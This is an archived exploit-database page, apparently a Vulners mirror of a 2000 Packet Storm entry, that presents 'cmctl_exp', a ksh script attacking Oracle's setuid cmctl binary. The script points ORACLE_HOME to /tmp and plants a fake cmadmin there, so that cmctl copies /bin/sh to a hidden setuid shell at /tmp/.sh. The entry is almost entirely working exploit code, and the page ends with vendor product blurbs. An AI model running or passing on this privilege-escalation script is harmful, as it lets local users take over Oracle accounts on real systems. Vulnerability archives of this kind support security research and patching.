Lucene search
K

cmctl_exp

🗓️ 01 Sep 2000 00:00:00Reported by Kevin WenchelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

Script creates a setuid Oracle shell in /tmp to exploit vulnerabilities.

Code
`#! /usr/bin/ksh  
#############################################  
#  
# cmctl is installed setuid to Oracle  
# by default. See BugTraq ID 170 and Oracle  
# bug id 701297 and 714293.   
#  
# This script will create a setuid Oracle shell,  
# /tmp/.sh  
#  
  
# redirect environment variables  
export ORACLE_HOME=/tmp  
export ORAHOME=/tmp  
  
mkdir /tmp/bin  
chmod a+rx /tmp/bin  
  
# create cmadmin script  
cat <<EOF > /tmp/bin/cmadmin  
cp /bin/sh /tmp/.sh  
chmod u+s /tmp/.sh  
chmod a+rx /tmp/.sh  
EOF  
  
chmod a+rx /tmp/bin/cmadmin  
  
# run cmctl to crete Oracle setuid shell  
/oracle/products/V815/bin/cmctl start cmadmin  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation